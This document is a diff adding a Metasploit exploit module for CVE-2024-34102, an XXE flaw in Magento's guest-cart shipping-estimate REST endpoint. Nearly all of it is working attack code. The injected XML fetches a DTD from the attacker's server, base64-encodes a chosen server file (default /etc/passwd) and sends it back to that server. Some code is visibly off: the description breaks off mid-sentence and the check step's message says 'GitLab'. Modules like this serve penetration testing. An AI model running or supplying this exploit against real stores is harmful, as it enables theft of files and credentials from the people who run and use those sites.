1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ class MetasploitModule < Msf ::Exploit ::Remote
7
+ Rank = ExcellentRanking
8
+
9
+ include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::Remote ::HttpServer
11
+ include Msf ::Exploit ::FileDropper
12
+
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'Magento XXE Unserialize Remote Code Execution' ,
16
+ 'Description' => %q{
17
+ This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows
18
+ } ,
19
+ 'Platform' => 'php' ,
20
+ 'License' => MSF_LICENSE ,
21
+ 'Author' =>
22
+ [ ' Sergey Temnikov ' ] ,
23
+ 'Payload' =>
24
+ { } ,
25
+ 'References' =>
26
+ [ 'CVE' , '2024-34102' ,
27
+ 'URL' , 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'
28
+ ] ,
29
+ 'Arch' => ARCH_PHP ,
30
+ 'Targets' =>
31
+ [
32
+ [ 'Automatic Targeting' , { 'auto' => true } ] ,
33
+ ] ,
34
+ 'DisclosureDate' => '2024-07-28' ,
35
+ 'DefaultTarget' => 0 ) )
36
+
37
+ register_options (
38
+ [
39
+ OptString . new ( 'TARGETURI' , [ true , "The base path to the web application" , "/" ] ) ,
40
+ OptString . new ( 'FILE' , [ true , "The file to read" , "/etc/passwd" ] ) ,
41
+ ] )
42
+ end
43
+
44
+
45
+ def check
46
+ vprint_status ( 'Trying to get the GitLab version' )
47
+
48
+ # request to check if the target is vulnerable /magento_version
49
+ res = send_request_cgi ( {
50
+ 'method' => 'GET' ,
51
+ 'uri' => normalize_uri ( target_uri . path , '/magento_version' ) ,
52
+ } )
53
+
54
+ # binding.pry
55
+
56
+ return CheckCode ::Unknown ( 'Could not detect the version.' ) unless res &.code == 200
57
+ # Magento/2.4 (Community)
58
+ version , edition = res . body . scan ( /Magento\/ ([\d .]+) \( ([^)]+)\) / ) . first
59
+
60
+
61
+ return CheckCode ::Safe ( "Detected Magento #{ edition } edition version #{ version } which is not vulnerable" ) unless (
62
+ version <= ( Rex ::Version . new ( '2.4.7' ) ) ||
63
+ version <= ( Rex ::Version . new ( '2.4.6-p5' ) ) ||
64
+ version <= ( Rex ::Version . new ( '2.4.5-p7' ) ) ||
65
+ version <= ( Rex ::Version . new ( '2.4.4-p8' ) ) ||
66
+ version <= ( Rex ::Version . new ( '2.4.3-ext-7' ) ) ||
67
+ version <= ( Rex ::Version . new ( '2.4.2-ext-7' ) )
68
+
69
+ )
70
+
71
+ CheckCode ::Vulnerable ( "Detected Magento #{ edition } edition version #{ version } which is vulnerable" )
72
+
73
+ end
74
+
75
+ def ent_eval
76
+ @ent_eval ||= rand_text_alpha_lower ( 4 ..8 )
77
+ end
78
+
79
+ def leak_param_name
80
+ @leak_param_name ||= rand_text_alpha_lower ( 4 ..8 )
81
+ end
82
+
83
+ def dtd_param_name
84
+ @dtd_param_name ||= rand_text_alpha_lower ( 4 ..8 )
85
+ end
86
+
87
+ def make_xxe_dtd
88
+ ent_file = rand_text_alpha_lower ( 4 ..8 )
89
+ %Q|
90
+ <!ENTITY % #{ ent_file } SYSTEM "php://filter/convert.base64-encode/resource=#{ datastore [ 'FILE' ] } ">
91
+ <!ENTITY % #{ dtd_param_name } "<!ENTITY #{ ent_eval } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /?#{ leak_param_name } =%#{ ent_file } ;'>">
92
+ |
93
+ end
94
+
95
+ def xxe_xml_data
96
+
97
+ param_entity_name = rand_text_alpha_lower ( 4 ..8 )
98
+
99
+ xml = "<?xml version='1.0' ?>"
100
+ xml += "<!DOCTYPE #{ rand_text_alpha_lower ( 4 ..8 ) } "
101
+ xml += "["
102
+ xml += " <!ELEMENT #{ rand_text_alpha_lower ( 4 ..8 ) } ANY >"
103
+ xml += " <!ENTITY % #{ param_entity_name } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /#{ rand_text_alpha_lower ( 4 ..8 ) } .dtd'> %#{ param_entity_name } ; %#{ dtd_param_name } ; "
104
+ xml += "]"
105
+ xml += "> <r>&#{ ent_eval } ;</r>"
106
+
107
+ xml
108
+ end
109
+
110
+ def xxe_request
111
+ post_data = <<~EOF
112
+ {
113
+ "address": {
114
+ "totalsCollector": {
115
+ "collectorList": {
116
+ "totalCollector": {
117
+ "sourceData": {
118
+ "data": "#{ xxe_xml_data } ",
119
+ "options": 12345678
120
+ }
121
+ }
122
+ }
123
+ }
124
+ }
125
+ }
126
+ EOF
127
+
128
+
129
+ res = send_request_cgi ( {
130
+ 'method' => 'POST' ,
131
+ 'uri' => normalize_uri ( target_uri . path , '/rest/V1/guest-carts/1/estimate-shipping-methods' ) ,
132
+ 'ctype' => 'application/json' ,
133
+ 'data' => post_data ,
134
+ } )
135
+
136
+ return true if ( res && res . body . include? ( '[]' ) )
137
+
138
+ false
139
+ end
140
+
141
+ def exploit
142
+
143
+ start_service ( {
144
+ 'Uri' => {
145
+ 'Proc' => proc do |cli , req |
146
+ on_request_uri ( cli , req )
147
+ end ,
148
+ 'Path' => '/'
149
+ }
150
+ } )
151
+ xxe_request
152
+ rescue Timeout ::Error => e
153
+ fail_with ( Failure ::TimeoutExpired , e . message )
154
+ end
155
+
156
+ def on_request_uri ( cli , req )
157
+ super
158
+ data = ''
159
+ # vprint_status("Received request for #{req.uri}")
160
+ case req . uri
161
+ when /(.*).dtd/
162
+ data = make_xxe_dtd
163
+ when /#{ leak_param_name } /
164
+ data = req . uri_parts [ 'QueryString' ] . values . first
165
+ print_good ( "Received file #{ datastore [ 'FILE' ] } content" )
166
+ puts ( Base64 . decode64 ( data ) )
167
+ end
168
+
169
+ send_response ( cli , data )
170
+ end
171
+
172
+ end
0 commit comments